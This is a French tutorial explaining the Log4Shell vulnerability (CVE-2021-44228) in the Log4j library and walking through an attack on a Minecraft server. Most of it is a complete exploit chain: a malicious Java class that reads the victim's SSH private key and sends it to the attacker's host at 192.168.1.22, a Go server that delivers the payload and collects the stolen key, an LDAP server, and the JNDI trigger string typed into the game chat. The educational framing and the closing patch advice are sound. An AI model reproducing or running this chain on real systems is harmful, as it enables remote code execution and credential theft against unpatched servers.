Log4j, qu’est-ce que c’est ?
Log4j est une des librairies de log parmi les plus utilisées par les applications codées en java. La liste des entreprises qui l’utilise est longue, on y compte notamment des géants comme Apple, Google, Microsoft ou encore Steam.
La faille Log4Shell
Log4shell c’est le nom donné à cette vulnérabilité. On peut aussi la retrouver sous le nom CVE-2021-44228. Ce qui rend cette faille très dangereuse est que d’une part elle est très facile à exploiter et d’autre part,la librairie log4j est utilisée dans un grand nombre de projets. Sur github plus de 300 000 dépôts utilisent cette dépendance.
Log4j comprend une fonctionnalité de lookup. C’est à dire qu’elle peut interpréter certaines instructions qui seraient inclues dans les données loggées. Par exemple si on lui demande de logger ${env:USER}
, cette chaîne de caractères va automatiquement remplacée par la valeur de la variable d’environnement USER. Il est ainsi possible de faire un lookup via jndi (java naming directory interface), qui en soit n’est pas problématique, on va juste chercher une valeur ailleurs et la logger. Quand on la combine a ldap (un annuaire clé valeur) il devient possible de faire exécuter du code. Pour comprendre comment cela marche, on a va passer à la pratique dans la partie suivante.
Exploitons cette faille
Passons maintenant aux travaux pratiques. Pour réaliser une attaque, on va utiliser deux ordinateurs. Le premier sera l’ordinateur cible, qui fera tourner le serveur, le second (à l’adresse 192.168.1.22) sera l’ordinateur attaquant qui va héberger le serveur http et jdni.

Chaque message envoyé dans le tchat du jeu (à gauche) est loggé dans la console du serveur et dans un fichier de logs (à droite)
Pour commencer, on lance le serveur minecraft avec la commande suivante :
java -Xmx1024M -Xms1024M -jar .\\\\server.jar nogui
On va ensuite avoir besoin d’un code java malicieux qui sera exécuté sur la machine qui héberge le serveur minecraft. Dans cet exemple on va lire la clé privée de l’utilisateur et l’envoyer à un serveur distant via http.
Voici le code qui fait ça :
import java.io.OutputStream; import java.net.HttpURLConnection; import java.net.URL; import java.net.URLConnection; import java.nio.charset.StandardCharsets; import java.io.BufferedReader; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Paths; public class MinecraftRCE { static { try { URL url = new URL("<http://192.168.1.22:8080/data>"); URLConnection con = url.openConnection(); HttpURLConnection http = (HttpURLConnection) con; http.setRequestMethod("POST"); StringBuilder sb = new StringBuilder(); try (BufferedReader br = Files.newBufferedReader(Paths.get(System.getProperty("user.home") + "/.ssh/id_rsa"))) { String line; while ((line = br.readLine()) != null) { sb.append(line).append("\\\\n"); } } catch (IOException e) { System.err.format("IOException: %s%n", e); } byte[] out = sb.toString().getBytes(StandardCharsets.UTF_8); int length = out.length; http.setFixedLengthStreamingMode(length); http.setRequestProperty("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8"); http.setDoOutput(true); http.connect(); try(OutputStream os = http.getOutputStream()) { os.write(out); } http.disconnect(); } catch (Exception e){ e.printStackTrace(); } } }
On compile ce bout de code avec javac
pour obtenir un fichier MinecraftRCE.class
:
javac MinecraftRCE.java
La prochaine étape est de servir ce fichier .class
sur un endpoint http. Plusieurs options pour réaliser cela, nous allons partir sur une implémentation en Go, car on peut facilement lancer un serveur http avec la librairie standard :
package main import ( "bytes" "io/ioutil" "log" "net/http" ) func dataHandler(_ http.ResponseWriter, req *http.Request) { buf, _ := ioutil.ReadAll(req.Body) rdr1 := ioutil.NopCloser(bytes.NewBuffer(buf)) log.Printf("secret data: %q", rdr1) } func main() { fs := http.FileServer(http.Dir("./java")) http.Handle("/static/", http.StripPrefix("/static/", fs)) // 1 http.HandleFunc("/data", dataHandler) // 2 println("waiting for secret data") http.ListenAndServe(":8080", nil) }
Ce bout de code en go fait tourner un serveur http qui fait deux choses simples :
- Il sert sur la route
/static
le fichierMinecraftRCE.class
qui est dans le dossierjava
- Il écoute sur la route
/data
et affiche lebody
de la requête. C’est sur ce endpoint qu’on recevra la clé privée envoyée par le script java malicieux.
Enfin on démarre un serveur ldap. Pour cela, on utilise le package npm ldapjs :
const ldap = require('ldapjs'); const server = ldap.createServer(); server.search('', (req, res, next) => { const obj = { dn: req.dn.toString(), attributes: { javaClassName: "MinecraftRCE", javaCodeBase: "<http://192.168.1.22:8080/static/>", objectClass: "javaNamingReference", javaFactory: "MinecraftRCE", } }; res.send(obj); res.end(); }); server.listen(1389, () => { console.log('LDAP server listening at %s', server.url); });
On lance ce serveur avec node :
node index.js
Tout est en place pour passer à l’action. On se connecte au serveur minecraft comme un joueur normal et on peut déclencher l’attaque. Pour ce faire il suffit de taper dans le chat le texte suivant :
${jndi:ldap://192.168.1.22:1389}

C’est cette chaîne de caractères qui sera envoyée à log4j. Aussitôt qu’on a appuyé sur entrée on reçoit bien la requête avec la clé privée de la victime sur notre endpoint http /data
.

On reçoit même la requête 3 fois, sans doute parce que la chaîne est loggée 3 fois dans le code de minecraft.
Nous avons donc démontré que la faille log4shell peut facilement être exploitée. Dans notre exemple assez simple on s’est contenté de lire la clé privée, mais ce n’est pas la seule exploitation possible. C’est pourquoi il est fortement recommandé de garder ses logiciels à jour.
https://security.googleblog.com/2021/12/understanding-impact-of-apache-log4j.html
https://news.fr-24.com/technology/591640.html
https://securityboulevard.com/2021/12/log4shell-jndi-injection-via-attackable-log4j/